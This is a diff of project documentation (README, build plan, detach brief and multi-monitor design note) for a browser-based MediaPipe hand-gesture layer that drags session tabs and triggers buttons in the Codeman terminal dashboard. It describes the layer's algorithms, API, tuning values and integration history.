+FaceTime cam, the **iPhone Camera** (main/wide lens), and a **Desk View Camera**
+— the latter is driven by the iPhone's ultra-wide lens aimed down at the desk
+(the overhead angle). Switching is live; no restart needed. The browser can't
+select the ultra-wide lens directly, so Desk View is how you reach it. **The
+Desk View / superwide camera now works with no issues and tracking is confirmed
+on it** — earlier it was Safari-only and rendered stretched; that's resolved.
+
+**Using it:** point at a tab (it highlights), **pinch** thumb+index to grab,
+move to another Screen column, release to drop. Both hands work at once. **⛶
+Fullscreen** makes the board fill the display (Esc exits). No open-hand gesture
+commands in this build — it's pinch-drag only (see the note up top).
+
+Other scripts: `npm run build` (tsc + vite build), `npm run preview`.
+
+### Developing on the Mac mini, running on the MacBook
+
+The prototype is *run/tested* on the MacBook (better for sitting at the desk
+with the camera). To sync:
+
+```bash
+git pull          # on the MacBook
+cd gesture-proto && npm install && npm run dev
+```
+
+No machine-specific state is committed (`node_modules/`, `dist/`, and
+`.claude/settings.local.json` are gitignored).
+
+### Framerate note
+
+The HUD fps turns **green at ≥ 25**, amber below. Confirmed **60fps** on the
+iPhone 17 Pro (Continuity Camera). If it's ever low, improve **even, frontal
+lighting on the hand zone** first — that matters more than the sensor.
+
+---
+
+## Codeman integration
+
+Phase 5 ships a **separate consumer**, `src/codeman/entry.ts` (the demo +
+`main.ts` are untouched — they stay as a desk-testing harness). It imports the
+same unchanged `src/gesture/` core and binds its events to the **real** Codeman
+dashboard. Build it standalone (MediaPipe inlined) with:
+
+```bash
+npm run build:codeman      # esbuild → dist-codeman/gesture-codeman.js
+```
+
+Codeman serves that bundle at `/gesture/gesture-codeman.js` and injects it into
+the dashboard **only when started with `CODEMAN_GESTURE=1`** (which also widens
+its CSP for WebAssembly). Deploy = copy the bundle into Codeman's
+`src/web/public/gesture/` and reload (static is served from disk).
+
+**Gestures (all off one pinch, routed by what's under your fingertips):**
+- **Fullscreen camera** by default — mirrored, dimmed, full-viewport so you see
+  your hands over the real tabs; the **⛶** button toggles a corner preview.
+- **Grab → in-page floating panel** *(pivoted 2026-06-08 — replaced the old
+  OS-window detach)* — pinch a session tab, a ghost of it follows your hand, pull
+  it out of the strip (>70px) and release → the session pops into a **re-grabbable
+  in-page `.cg-float` panel** (an `<iframe src="/session/:id">`, 640×420) at the
+  drop point. Pinch the panel again to move it anywhere. It stays inside the
+  camera-owning page, so the hand keeps control (the old `window.app.detachSession`
+  `window.open` was a one-way trip). A small twitch-and-release cancels.
+- **Run / Run Shell** — pinch over the **Run** (`#runBtn`) or **Run Shell**
+  (`.btn-shell`) toolbar button and release in place to fire it; drifting too
+  far first cancels the tap. The button list is `CLICK_SELECTOR` in `entry.ts`.
+
+**Self-hosted MediaPipe.** The Codeman consumer loads the wasm runtime + the
+`gesture_recognizer.task` model **same-origin** from `/gesture/` (via
+`wasmBase`/`modelUrl` options), not the CDN — a browser content/ad blocker can
+otherwise block the CDN and startup fails with `failed: {"isTrusted":true}`.
+
+**Multi-monitor button.** Codeman's header has a **multi-monitor button** (it
+replaced the notification bell) → `POST /api/system/span-displays` → spawns
+`scripts/span-codeman.sh`, opening a fresh browser `--app` window spanned across
+all displays so floating panels can cross the monitor seam (PR #103 `95b0035`).
+
+**Caveats:** Codeman serves static with a 1-year **`immutable`** cache, so
+`server.ts` `cacheBustAssets()` appends `?v=<mtime>` to **every** same-origin
+`.js`/`.css` (and the gesture bundle), re-stat'd per render — without it an edited
+module stays cached until a hard refresh (PR #103 `b5ea711`). The old OS-window
+detach verb (kept only as a deliberate, non-default action) does `window.open`,
+which a pinch can get popup-blocked — allow popups once if you ever wire it back.
+
+---
+
+## Layout
+
+```
+gesture-proto/
+├── index.html              # demo page: video, tab board, HUD, controls
+├── docs/
+│   └── BUILD_PLAN.md       # canonical spec: goals, algorithms, phases, tuning
+├── src/
+│   ├── main.ts             # wires GestureController -> demo UI (board, HUD, camera, fullscreen)
+│   ├── gesture/
+│   │   ├── GestureController.ts   # camera + recognizer + loop + per-hand state + event bus
+│   │   ├── OneEuroFilter.ts       # per-axis cursor smoothing
+│   │   ├── pinch.ts               # pinch distance + hysteresis detector
+│   │   ├── commands.ts            # debounced gesture→command bus (Phase 4)
+│   │   ├── landmarks.ts           # landmark indices, connections, helpers
+│   │   └── types.ts               # event payload types + config (full API surface)
+│   ├── demo/
+│   │   ├── overlay.ts             # draws the hand skeleton + per-hand cursors
+│   │   └── tabs.ts                # the 3-column board: hit-testing + drag mechanics
+│   └── codeman/
+│       └── entry.ts              # Phase 5 Codeman consumer (real tabs + Run/Run Shell);
+│                                 #   esbuild-bundled by `npm run build:codeman`
+```
+
+---
+
+## `GestureController` API
+
+Transport-agnostic: it owns the camera, recognizer, per-hand smoothing, pinch
+state machine, and gesture→command bus, and emits **coordinate-only** events. It
+knows nothing about tabs or the DOM — hit-testing lives in the consumer (the
+demo's `tabs.ts`, later Codeman). Integration (Phase 5) is just subscribing and
+calling Codeman's existing tab-move / command functions.
+
+```ts
+const gc = new GestureController({
+  video: videoEl,
+  surface: stageEl,        // normalized coords map against this element's rect
+  numHands: 2,
+  pinchOn: 0.35, pinchOff: 0.5,   // pinch hysteresis (fractions of hand size)
+  minCutoff: 1.0, beta: 0.01,     // One-Euro cursor smoothing
+  palmHoldMs: 1000,               // Open_Palm hold before halt-all fires
+  deviceId: "",                   // specific camera; "" = default user-facing
+});
+
+// Drag events — surface pixels (X already mirrored), with a per-hand id.
+gc.on("grab", ({ hand, x, y }) => {});  // pinch closed → start drag
+gc.on("drag", ({ hand, x, y }) => {});  // moving while pinched (per frame)
+gc.on("drop", ({ hand, x, y }) => {});  // released (or hand vanished mid-pinch)
+
+// Discrete commands: "halt-all" | "approve" | "new-session".
+// Still emitted by the controller, but THIS build's demo does not subscribe
+// (pinch-only). Wire these up in Codeman (Phase 5) or re-enable in the demo.
+gc.on("command", ({ name }) => {});
+
+// Per-frame snapshot for HUD / hover highlighting / debug overlay.
+// `haltProgress` (0–1 Open_Palm charge) is also still emitted but unused here.
+gc.on("status", ({ fps, hands, haltProgress }) => {});
+//   hands: { handedness, cursor:{x,y}/*normalized*/, pinchDist, pinching, gesture }[]
+gc.on("results", ({ result, timestampMs }) => {}); // raw recognizer result
+
+await gc.start();              // requests camera, loads model
+await gc.useCamera(deviceId);  // switch camera live
+await gc.listCameras();        // enumerate video inputs
+gc.stop();
+```
+
+All events are live. Hover highlighting is derived from the `status` snapshot
+(not a dedicated event), since only the consumer can hit-test against its tabs.
+Full types in [`src/gesture/types.ts`](./src/gesture/types.ts).
+
+---
+
+## Tuning defaults (start here, then adjust by feel)
+
+- **One-Euro filter:** `minCutoff ≈ 1.0`, `beta ≈ 0.01`. Raise `beta` if drag
+  lags during fast moves; lower `minCutoff` if it jitters when still.
+- **Pinch:** `PINCH_ON 0.35`, `PINCH_OFF 0.5` (fractions of hand-size reference
+  distance, wrist→middle-MCP). Two thresholds = hysteresis = no flicker.
+- **Confidence:** detection/tracking ≈ 0.6. Lower if quick gestures get missed,
+  raise if you get false hands.
+- **Camera:** target 30–60fps, even frontal lighting on the hand zone.
+
+---
+
+## Design notes
+
+- **Standalone first.** Fake tabs let us validate feel before touching Codeman.
+- **Main thread first.** Inference runs on the main thread (60fps, no stutter);
+  a Web Worker stays an optional optimization only if the UI ever stutters.
+- **Two hands** (`numHands: 2`). Each hand keeps its own cursor + pinch state,
+  keyed by handedness so filters don't swap when MediaPipe reorders the hands.
+- **Camera angle: front-facing default; superwide now usable too** — iPhone 17
+  Pro main lens via Continuity Camera, pointing / pinch-to-grab grammar. The
+  superwide / Desk View (overhead, ultra-wide) camera now works with no issues
+  and tracking is confirmed on it; the earlier Safari-only / stretched blocker is
+  resolved. The in-app picker switches cameras live.
+- **Transport-agnostic controller.** It emits coordinate-only `grab`/`drag`/
+  `drop` + `command`; the consumer hit-tests. So Phase 5 only swaps the demo's
+  `tabs.ts` for Codeman wiring — the controller is untouched.

packages/gesture-control/docs/BUILD_PLAN.md

@@ -0,0 +1,224 @@
+# Codeman Gesture Control — Prototype Build Plan
+
+> Canonical spec for this project. A Jarvis-style hand-tracking input layer for
+> the Codeman dashboard. Webcam sees your hands; you pinch-drag session tabs
+> between Screen columns and fire discrete gesture commands. Runs entirely
+> in-browser, camera feed never leaves the machine.
+
+Build it as a **standalone prototype first** (its own folder, fake tabs) so the
+input feel can be validated on real hardware before any integration with
+Codeman's existing drag/command code.
+
+---
+
+## Goal & success criteria
+
+Build a `GestureController` module + a self-contained demo page that:
+
+1. Opens the webcam and runs MediaPipe Gesture Recognizer at ~30fps.
+2. Emits a smoothed cursor position and a `pinch` state (grab/release) from hand landmarks.
+3. Lets you **drag fake tabs between columns by pinching**, dropping on release.
+4. Fires **discrete gesture commands** (open palm, thumbs up, victory) onto an event bus.
+5. Feels responsive — drag lag is not perceptible, jitter is filtered out.
+
+**Done when:** you can sit at your desk, pinch a tab, move it to another column,
+release, and it lands — reliably, without visible jitter, with the camera
+mounted at your chosen angle.
+
+---
+
+## Tech stack
+
+- **MediaPipe Tasks Vision** (`@mediapipe/tasks-vision`) — `GestureRecognizer` in `VIDEO` running mode, `numHands: 1` for v1 (add 2 later). Loads the prebuilt `gesture_recognizer.task` model + WASM from CDN.
+- **Vanilla TS + Vite** for the prototype (no framework needed; keep it portable so the module drops into Codeman regardless of its stack). If Codeman is React, the module stays framework-agnostic and you wrap it in a hook at integration time.
+- **One-Euro filter** for cursor smoothing — implement it directly, it's ~40 lines and is the correct tool for noisy interactive landmark streams (low lag at speed, heavy smoothing when still).
+- **Web Worker** for inference is a **Phase 4** optimization — do NOT start there. Get it working on the main thread first; only move to a worker if the dashboard UI stutters.
+
+---
+
+## File structure
+
+```
+gesture-proto/
+├── index.html              # demo page: video preview + columns of fake tabs
+├── package.json
+├── vite.config.ts
+├── src/
+│   ├── main.ts             # wires GestureController -> demo UI
+│   ├── gesture/
+│   │   ├── GestureController.ts   # core: camera + recognizer + state machine + events
+│   │   ├── OneEuroFilter.ts       # cursor smoothing
+│   │   ├── pinch.ts               # pinch detection w/ hysteresis
+│   │   ├── landmarks.ts           # landmark index constants + helpers
+│   │   └── types.ts               # event payload types, config
+│   └── demo/
+│       ├── tabs.ts         # fake tab/column model + render
+│       └── overlay.ts      # draws hand skeleton + cursor dot over video (debug)
+└── README.md
+```
+
+---
+
+## Core algorithms (the parts that decide whether it feels good)
+
+### 1. Cursor from landmarks
+The drag cursor is the **midpoint of thumb tip (landmark 4) and index tip (landmark 8)**, in normalized [0,1] coords from MediaPipe.
+
+- **Mirror X** (`x = 1 - x`) — the webcam image is flipped relative to the user.
+- Map normalized → screen pixels against the dashboard's bounding rect.
+- Run the resulting (x, y) through **two independent One-Euro filters** (one per axis) before using it. Raw landmarks jitter by several pixels even when the hand is still; this is the single most important quality step.
+
+### 2. Pinch detection with hysteresis
+Compute euclidean distance between landmark 4 and landmark 8. **Normalize by hand size** (e.g. distance wrist→middle-finger-MCP, landmarks 0→9) so the threshold is robust to how close the hand is to the camera.
+
+- Use **two thresholds, not one** (hysteresis): enter pinch below `PINCH_ON` (e.g. 0.35 of hand size), exit only above `PINCH_OFF` (e.g. 0.5). This stops flickering between grab/release at the boundary — critical for not "dropping" a tab mid-drag.
+- Require the pinch state to persist N frames (e.g. 2–3) before firing, to reject single-frame noise.
+
+### 3. State machine
+```
+IDLE ──hand detected──> HOVER ──pinch on──> GRABBED ──pinch off──> (drop) ──> HOVER
+  ^                        |                                                    |
+  └────hand lost───────────┴────────────────hand lost────────────────────────┘
+```
+- `HOVER`: cursor moves, highlights the tab/column under it (hit-test).
+- `GRABBED`: the grabbed tab follows the cursor; emit `drag` events.
+- On `pinch off` in GRABBED: hit-test cursor against drop columns, emit `drop {tabId, targetColumnId}` or `dropCancelled` if outside any column.
+
+### 4. Discrete gestures → command bus
+From `result.gestures[0].categoryName`, debounced (fire once per gesture entry, not every frame while held):
+- `Open_Palm` held ~1s → `command: "halt-all"` (dead-man's-switch — pauses every session; genuinely useful for autonomous loops).
+- `Thumb_Up` → `command: "approve"`.
+- `Victory` → `command: "new-session"`.
+- Map these to the SAME command names your voice layer already dispatches, so both input sources converge on one dispatcher.
+
+---
+
+## GestureController public API (target shape)
+
+```ts
+const gc = new GestureController({
+  video: videoEl,
+  surface: dashboardEl,          // coords mapped against this element's rect
+  numHands: 1,
+  pinchOn: 0.35, pinchOff: 0.5,
+  palmHoldMs: 1000,
+});
+
+gc.on("hover",  ({ x, y, targetId }) => {...});
+gc.on("grab",   ({ x, y })           => {...});
+gc.on("drag",   ({ x, y })           => {...});  // throttled to frame rate
+gc.on("drop",   ({ targetColumnId }) => {...});
+gc.on("command",({ name })           => {...});  // halt-all | approve | new-session
+gc.on("status", ({ fps, handPresent, pinchDist }) => {...}); // debug HUD
+
+await gc.start();   // requests camera, loads model
+gc.stop();
+```
+
+Keep it **transport-agnostic**: it emits semantic events, it does NOT know about
+Codeman's DOM. Integration is just subscribing to these events and calling
+Codeman's existing tab-move / command functions.
+
+---
+
+## Phased build (each phase is independently testable — stop and feel it before moving on)
+
+**Phase 0 — Scaffold & camera (½ day)**
+Vite + TS project. `index.html` with a mirrored `<video>` and a "start" button (camera must be a user gesture). Confirm `getUserMedia` works and you see yourself. Must be served over http(s), not `file://`.
+
+**Phase 1 — Recognizer + debug overlay (½ day)**
+Load `GestureRecognizer` (`VIDEO` mode, CDN model+wasm). Run `recognizeForVideo(video, performance.now())` in a `requestAnimationFrame` loop. Draw the 21-point skeleton + an FPS counter on a canvas over the video. **Checkpoint: confirm you're getting ≥25fps on your actual camera/lighting setup.** Tune lighting here.
+
+**Phase 2 — Cursor + pinch (1 day)**
+Implement `OneEuroFilter` and `pinch.ts`. Render a cursor dot driven by the filtered thumb/index midpoint. Show live pinch distance in the HUD and a color change on grab. **Checkpoint: the dot is steady when your hand is still, and pinch grab/release is crisp with no flicker.** Tune filter constants (`minCutoff`, `beta`) and pinch thresholds here — this is where the "feel" is won or lost.
+
+**Phase 3 — Drag the fake tabs (1 day)**
+Build `tabs.ts`: 3 columns of draggable fake "sessions." Wire the state machine: hover-highlight, grab, drag-follow, drop-with-hit-test. **Checkpoint: you can move a tab across columns reliably 10/10 times.** This is the core demo and the real go/no-go for the whole idea.
+
+**Phase 4 — Discrete commands + polish (1 day)**
+Add gesture→command bus with debouncing and the 1s open-palm halt. Add an on-screen toast when a command fires. Optional: move inference to a Web Worker if the UI stutters; add second-hand support.
+
+**Phase 5 — Codeman integration (✅ working, 2026-06-07)**
+Drop `gesture/` into Codeman via a new consumer `src/codeman/entry.ts` (the core is unchanged; the demo's `main.ts` is *not* the integration point). It binds `grab`/`drag`/`drop` to real `.session-tab`s (grab-to-detach → `app.detachSession`) and pinch-taps the Run / Run Shell toolbar buttons. Runs in Codeman behind `CODEMAN_GESTURE=1`. See the detailed status under "Implementation status" below.
+
+> **Prerequisite (decided 2026-06-06, ✅ done 2026-06-07): Codeman tab-detach first.**
+> Codeman needed a **tab-detach / undock** feature — a session pops out into its
+> own browser window — *before* gesture wiring, because gestures can only drag DOM
+> *within* the one page that owns the camera (you can't drag a node across isolated
+> tabs/OS windows). So undock is a Codeman session-placement op the gesture `drop`
+> *triggers*. **Shipped** as `app.detachSession(id)` → `/session/:id` solo window +
+> BroadcastChannel sync + re-dock on close (the gesture layer calls it directly).
+> Per-monitor placement via `getScreenDetails` stays in the multi-monitor backlog.
+
+---
+
+## Tuning defaults to start from (then adjust by feel)
+- One-Euro: `minCutoff ≈ 1.0`, `beta ≈ 0.01` (raise `beta` if drag lags during fast moves; lower `minCutoff` if it's jittery when still).
+- Pinch: `PINCH_ON 0.35`, `PINCH_OFF 0.5` (fractions of hand-size reference distance).
+- `min_detection_confidence` / `min_tracking_confidence` ≈ 0.6; lower if quick gestures get missed, raise if you get false hands.
+- Camera: target 30–60fps, even frontal lighting on the hand zone (matters more than the sensor).
+
+---
+
+## Hardware note
+
+Prototype on the **MacBook M1 Max built-in cam** for zero-friction Phase 0–3.
+For the real setup, switch to **iPhone via Continuity Camera** mounted at desk
+level aimed at your hand-gesture zone — best sensor + best angle. Decide
+front-facing (pointing/pinch-to-grab) vs overhead (swipe/drag-on-a-plane) mount
+before Phase 3, since it slightly changes the gesture grammar.
+
+---
+
+## Implementation status (kept current)
+
+- ✅ Phase 0, ✅ Phase 1 — see top-level `CLAUDE.md` and `gesture-proto/README.md`.
+- ✅ Phase 1 fps checkpoint — 60fps on MacBook + iPhone 17 Pro (Continuity Camera).
+- ✅ Phase 2 — `OneEuroFilter.ts` + `pinch.ts`: filtered cursor dot + pinch hysteresis. Cursor + `pinchDist` + `pinching` on the `status` event; HUD shows pinch distance, cursor ring turns green on grab.
+- ✅ Phase 3 — `demo/tabs.ts`: 3 Screen columns of draggable session tabs. Controller owns the per-hand pinch state machine and emits `grab`/`drag`/`drop` in surface pixels (with a `hand` id); the demo hit-tests and moves tabs. Two-handed (drag two tabs at once); drop-on-vanish releases a tab if a pinched hand leaves frame.
+- ✅ Beyond plan — two-hand tracking (`numHands: 2`, filters keyed by handedness) and a live camera picker.
+- ✅ Camera (2026-06-06) — front-facing iPhone 17 Pro main lens (Chrome) is the default. **The superwide / Desk View (ultra-wide, overhead) camera now works with no issues and tracking is confirmed on it** — the earlier "Safari-only / stretched / unusable" finding is superseded. Pick either via the in-app camera picker.
+- ✅ Phase 4 (built) — `commands.ts`: debounced gesture→command bus. `Thumb_Up`→approve, `Victory`→new-session (edge-triggered, fire once per entry), `Open_Palm` held `palmHoldMs`→halt-all (dead-man's-switch) with a 0–1 `haltProgress` charge surfaced on `status`. Commands ignore a pinching (mid-drag) hand.
+- ⛔ **Phase 4 unwired in the demo (2026-06-06).** User wants pinch-drag only — an open palm while reaching to pinch kept charging the hold-to-halt. `main.ts` no longer subscribes to `command`/`haltProgress` and the command/charge toasts are gone. The `GestureController` core is untouched and still emits both events, so Phase 5 (or a re-enabled demo) can pick them up unchanged.
+- 🐛 **Drag-position fix (2026-06-06).** A `.dragging` tab is `position: absolute`; the `.column`s establish a containing block via `backdrop-filter`, so board-local left/top were offset by the column's own position — tabs in the middle/right columns flew to the right on grab. Fix: `tabs.ts` reparents the floating tab onto `#board` (no filter/transform) for the drag, so the coordinates `moveTo` computes match the containing block.
+- ✅ **Phase 5 — WORKING at the desk (2026-06-07).** Prerequisite cleared: Codeman tab-detach/undock works in the runtime (`app.detachSession(id)` is the idempotent hook). The gesture overlay runs live in the real Codeman dashboard on `:5000` and was confirmed by the user (normal tab): fullscreen cam + hand/cursor tracking, undock-by-pinch, and Run/Run Shell taps.
+  - **Integration shape: in-page overlay, built into Codeman beta.** The gesture `core` (`src/gesture/`) ships **unchanged**; the consumer is `src/codeman/entry.ts`, esbuild-bundled (`npm run build:codeman`) and served by Codeman at `/gesture/gesture-codeman.js`. A full-viewport, click-through overlay maps coords straight to `elementFromPoint`.
+  - **Gestures (routed by what the pinch lands on):** (a) **grab → in-page floating panel** *(⚠️ pivoted 2026-06-08 — was grab-to-detach)*: pinch a `.session-tab`, a ghost clone follows the hand, pull >`DETACH_PULL_PX` (70) and release → `floatSession(id, x, y)` spawns a re-grabbable `.cg-float` iframe of `/session/:id` (640×420). This **replaced** `window.app.detachSession(id)` (an OS window is a sealed box the hand can't move again — a one-way trip); the float stays in-page so the hand keeps control. See `../../docs/MULTIMONITOR_DESIGN.md`. (b) **Run / Run Shell taps** — pinch over `#runBtn`→`app.run()` / `.btn-shell`→`app.runShell()` and release in place; drift >`TAP_CANCEL_PX` (45) cancels. `CLICK_SELECTOR` is the extensible list. (c) **Fullscreen dimmed cam** by default, **⛶** toggles corner PiP.
+  - **Self-hosted MediaPipe (no CDN).** `entry.ts` passes `wasmBase: "/gesture/wasm"` + `modelUrl: "/gesture/gesture_recognizer.task"`; Codeman serves them same-origin. The CDN path failed in the normal browser tab (content/ad blocker blocking `jsdelivr`/`googleapis`) → surfaced as `failed: {"isTrusted":true}` once `entry.ts` learned to report non-Error throws. Core also gained a GPU→CPU delegate fallback.
+  - **Gated by `CODEMAN_GESTURE=1` (OFF by default).** Under the flag Codeman injects the module script (dashboard only, not `/session/:id` solo popups), cache-busts it with `?v=<mtime>` (static is `max-age=1y`), and widens CSP (`'wasm-unsafe-eval'` + `worker-src 'self' blob:`; same-origin assets now covered by `'self'`). Flag off ⇒ Codeman HTML/CSP unchanged.
+  - **Codeman-side / version control:** the detach + instance isolation + base gesture overlay are committed on `Ark0N/Codeman` branch `beta/session-detach`, open as **PR #103** (tip `afea6d6`; `ceca853` after I fixed its `auth.ts` format:check → CI green). Gotcha: the local prod clone `~/.codeman/app` tracks only `master`, so the branch is hidden until `git fetch origin beta/session-detach` (this briefly misled me into a bogus local reconstruction `03b31b8`, since deleted). The session improvements — direct-detach via `window.app.detachSession`, Run/Run Shell pinch-taps, self-hosted MediaPipe (`/gesture/wasm` + `.task`), and the `server.ts` mtime cache-bust — were **ported onto PR #103** in commit `eea84db` (CI green); their source is `Ark0N/codeman-gesture-control` (`src/codeman/entry.ts`).
+  - **Commits (gesture-proto):** `ddf9cda` (consumer: detach/cam/errors) → `2dd97da` (detach direct) → `21ef793` (Run/Run Shell taps) → `e055b79` (self-host MediaPipe).
+  - **Next:** tune feel; optional in-strip reorder (deferred — user chose detach-only) and more buttons (Stop). Discrete `command` events remain available but unwired (pinch-only). Hand-off brief: `../docs/CODEMAN_DETACH_BRIEF.md`.
+
+## Backlog (requested, for later)
+
+- ✅ **Fullscreen mode** — done. Toggle button fullscreens the `#stage`;
+  `:fullscreen` CSS fills the viewport and the coord mapping adapts since it
+  reads the stage rect every frame.
+- ✅ **Multi-monitor mode — A+C BUILT & validated at the desk (2026-06-08).** The
+  eventual real goal (fling a Codeman session onto an external display by gesture)
+  is reached. **Design → [`../../docs/MULTIMONITOR_DESIGN.md`](../../docs/MULTIMONITOR_DESIGN.md)**,
+  approach **A+C**:
+  - **A — in-page floating panels** (`581fcf9`, `3e0447a`): `entry.ts`
+    `floatSession(id, x, y)` pops a tab into a re-grabbable `.cg-float` iframe of
+    `/session/:id` (640×420) instead of `window.app.detachSession`. The session
+    stays in the camera-owning page's DOM, so the hand keeps control — fixing the
+    one-way-trip flaw of OS-window detach.
+  - **C-span — spanned window** (`063fd8f`, `59946b8`): `scripts/span-codeman.sh`
+    launches a Brave-first (`BROWSER=` override) `--app` window sized to the
+    display union; prereq macOS "Displays have separate Spaces" OFF + re-login.
+    One-click via the **Codeman header button** → `POST /api/system/span-displays`
+    (PR #103 `95b0035`). **Validated:** one window spans both monitors and a panel
+    drags across the seam.
+  - **C-snap** (`getScreenDetails` snapping + seam dead-band) and the **re-dock**
+    gesture/zone are **still pending** — not needed for basic cross-seam dragging.
+  - **Concurrent-rendering question** was RESOLVED first: Codeman already mounts
+    live terminals into floating panels (teammate terminals, log-viewer SSE
+    windows, the iframe-able `/session/:id` solo route), so the live float needed
+    no new Codeman rendering.
+
+Note: the public event surface evolved from the original API sketch. The
+controller stays transport-agnostic but emits coordinate-only `grab`/`drag`/
+`drop` (hit-testing lives in the consumer, since only it knows the DOM/columns).
+`hover`/`dropCancelled`/`targetId` were dropped; hover highlighting is derived
+from the `status` snapshot instead.

packages/gesture-control/docs/CODEMAN_DETACH_BRIEF.md

@@ -0,0 +1,80 @@
+# Feature brief: Session tab detach / undock (for Codeman)
+
+> ✅ **SHIPPED — on GitHub as PR #103 (open).** Branch `beta/session-detach` on
+> `Ark0N/Codeman` (base `master`): "feat(web): session detach/undock + beta
+> instance isolation (port 5000)", containing detach/undock + instance isolation
+> + the base gesture overlay (commit `afea6d6`). `app.detachSession(id)` in
+> `app.js` opens `/session/:id` as a solo window (another live client of the same
+> session), tracks it (badge + `BroadcastChannel` sync + re-dock on close), and is
+> the single idempotent entry point both the on-tab ⧉ icon and the gesture layer
+> call. PTY fan-out (the open question below) resolved **yes**, so no streaming
+> work was needed. CI green after I fixed a prettier format:check on `auth.ts`
+> (commit `ceca853`).
+>
+> ⚠️ **Note:** the local **prod** clone `~/.codeman/app` only tracks `master`, so
+> the PR branch is invisible there until `git fetch origin beta/session-detach`.
+> (Earlier today I briefly mis-concluded the PR didn't exist and made a bogus
+> local reconstruction — deleted. The PR was real all along.) The gesture-side
+> *improvements* from this session — direct-detach, Run/Run Shell pinch-taps,
+> self-hosted MediaPipe, `server.ts` cache-bust — were **ported onto PR #103**
+> (commit `eea84db`, CI green); their source is `Ark0N/codeman-gesture-control`.
+> The rest of this doc is the original hand-off brief, kept for history.
+
+> Hand-off brief for **Codeman** to refine and implement **on a beta branch**.
+> Authored from the gesture-control project, which needs this as a prerequisite.
+> Codeman is "aicodeman": a Fastify + WebSocket server streaming xterm.js
+> terminal (tmux) sessions to a web dashboard.
+
+## Goal
+
+Let a session "tab" pop out of the main dashboard into its **own browser
+window** (and back). Each detached window shows just that one session's
+terminal, fully live. This is a standalone UX win *and* a prerequisite for
+gesture control later (a hand-gesture "drop" will eventually trigger
+detach/relocate — but that's a separate project; **this feature is plain UI
+buttons only**).
+
+## Core approach (refine as needed)
+
+- Add a **"Detach" control** on each tab. It opens a new browser window
+  (`window.open`) pointing at a **single-session view** — ideally a real route
+  like `/session/:id` so the popup just loads a URL and attaches like a normal
+  client.
+- The detached window runs its **own xterm.js instance connected to the same
+  session's WebSocket**, so it's live, not a screenshot.
+- Keep the dashboard and detached windows **in sync** (session list, titles,
+  alive/dead state, focus) — via the existing events channel, or a
+  `BroadcastChannel` if simpler.
+- Support **re-dock** (close popup → tab returns to the dashboard) and handle the
+  popup being closed/refreshed gracefully.
+
+## The one critical question to resolve first (in Codeman's own code)
+
+Can the server currently **fan out one session's PTY/tmux output to multiple
+concurrent WebSocket clients**, or is it single-consumer? A detached window is a
+*second* viewer of the same session. If it's single-consumer today, that's the
+main change: make the pty→socket stream **broadcast to N subscribers** (and merge
+input) so dashboard + popup can both watch/type. This likely matters more than
+the UI work.
+
+## Other decisions for Codeman
+
+- Per-session route (`/session/:id`) vs. a single-page popup that's told which id
+  to show.
+- Multi-monitor placement later via the Window Management API
+  (`getScreenDetails`) — **out of scope now**, just don't design against it.
+- Auth/cookie sharing so a popup window authenticates the same as the dashboard.
+
+## Constraints
+
+- Implement on a **beta branch**, not `main`.
+- The gesture-control side keeps a **read-only** copy of Codeman (its `.git`
+  removed); the live `Ark0N/Codeman` repo is **not** touched from here. Codeman
+  implements this itself.
+
+## Why this is sequenced before gesture wiring
+
+Gestures can only drag DOM **within the single page that owns the camera**; you
+cannot drag a node across isolated browser tabs / OS windows. So undock must be a
+**Codeman session-placement operation** that a gesture `drop` later *triggers* —
+not something the gesture layer does. Detach first; wire gestures to it after.

packages/gesture-control/docs/MULTIMONITOR_DESIGN.md

@@ -0,0 +1,260 @@
+# Multi-monitor gesture design — in-page panels + spanned window (A + C)
+
+**Status:** **A + C-span BUILT & validated at the desk (2026-06-08).** C-snap
+(`getScreenDetails` snapping) still pending. Decided + built 2026-06-08.
+**Supersedes** the OS-window detach as the *gesture* verb (see "Why detach
+broke movability") — *now actually replaced in `entry.ts`, not just planned.*
+**Companion docs:** `CODEMAN_DETACH_BRIEF.md` (the original window.open detach),
+`../gesture-proto/docs/BUILD_PLAN.md` (canonical build spec, Phase 5).
+
+> ## Implementation status (2026-06-08)
+> - ✅ **A — in-page floating panels.** `entry.ts` `floatSession(id, x, y)` spawns
+>   a `.cg-float` div with an `<iframe src="/session/:id">` (640×420) at the drop
+>   point; panels are re-grabbable. Replaces `window.app.detachSession`. Commits
+>   `581fcf9`, `3e0447a`.
+> - ✅ **C-span — spanned window.** `scripts/span-codeman.sh` (Brave-first;
+>   `BROWSER=` override) launches a `--app` window sized to the display union.
+>   Commits `063fd8f`, `59946b8`. **Validated at the desk:** one window spans
+>   both monitors (3432×1080) and a panel drags across the seam.
+> - ✅ **Launch entry point in Codeman.** A header "multi-monitor" button (replaces
+>   the notification bell) → `POST /api/system/span-displays` → spawns the span
+>   script. Bundled `span-codeman.sh` into Codeman's repo. **PR #103** `95b0035`.
+> - ✅ **Cache-bust** all same-origin module scripts/CSS (`renderIndexHtml` →
+>   `cacheBustAssets`), so frontend edits show on a normal reload. PR #103 `b5ea711`.
+> - ⏳ **C-snap** (`getScreenDetails` snapping + seam dead-band) — not built; not
+>   required for basic cross-seam dragging. Also pending: the re-dock gesture/zone.
+> - **Known caveats from the desk run:** dead band on a taller/offset external
+>   display (inherent to one spanning rect); superwide lens not selectable in the
+>   fresh span-window browser profile; 3-monitor works unchanged but dead-space +
+>   cursor-sensitivity caveats grow.
+
+---
+
+## Goal
+
+Pinch a Codeman session, drag it anywhere — including **across a second
+physical monitor** — drop it, and have it stay where you put it and stay
+grabbable again. The "fling a session onto the external display by gesture"
+end-goal from the BUILD_PLAN backlog, made real **without losing the ability to
+move a session after you've placed it.**
+
+## The root constraint (why this design, not the others)
+
+The hand only exists in **the one page that owns the camera**. Hand tracking,
+the cursor, and `document.elementFromPoint` hit-testing all live in that single
+document. **An OS window created by `window.open` is a sealed box that page
+cannot reach into** — no shared DOM, no shared cursor.
+
+> **Why detach broke movability.** Today `entry.ts` → `detach(id)` calls
+> `window.app.detachSession(id)`, which `window.open`s the session into its own
+> OS window. The instant it leaves the camera-owning page, the hand can never
+> touch it again. Detach-by-pinch *works*, but it's a one-way trip.
+
+**Rule:** anything you want to keep gesture-movable must stay inside **one
+page's DOM.** This design honors that with two composed pieces:
+
+- **A — In-page floating panels.** "Detach" pops a session into a free-floating,
+  absolutely-positioned element *in the same page* (not an OS window), so the
+  hand keeps control forever.
+- **C — One window spanning both monitors.** Run Codeman in a single window
+  stretched across both physical displays, so "drag across monitors" is just
+  "drag across the page," and the second monitor's pixels are actually used.
+
+Option **B** (one OS window per monitor + a distributed BroadcastChannel cursor
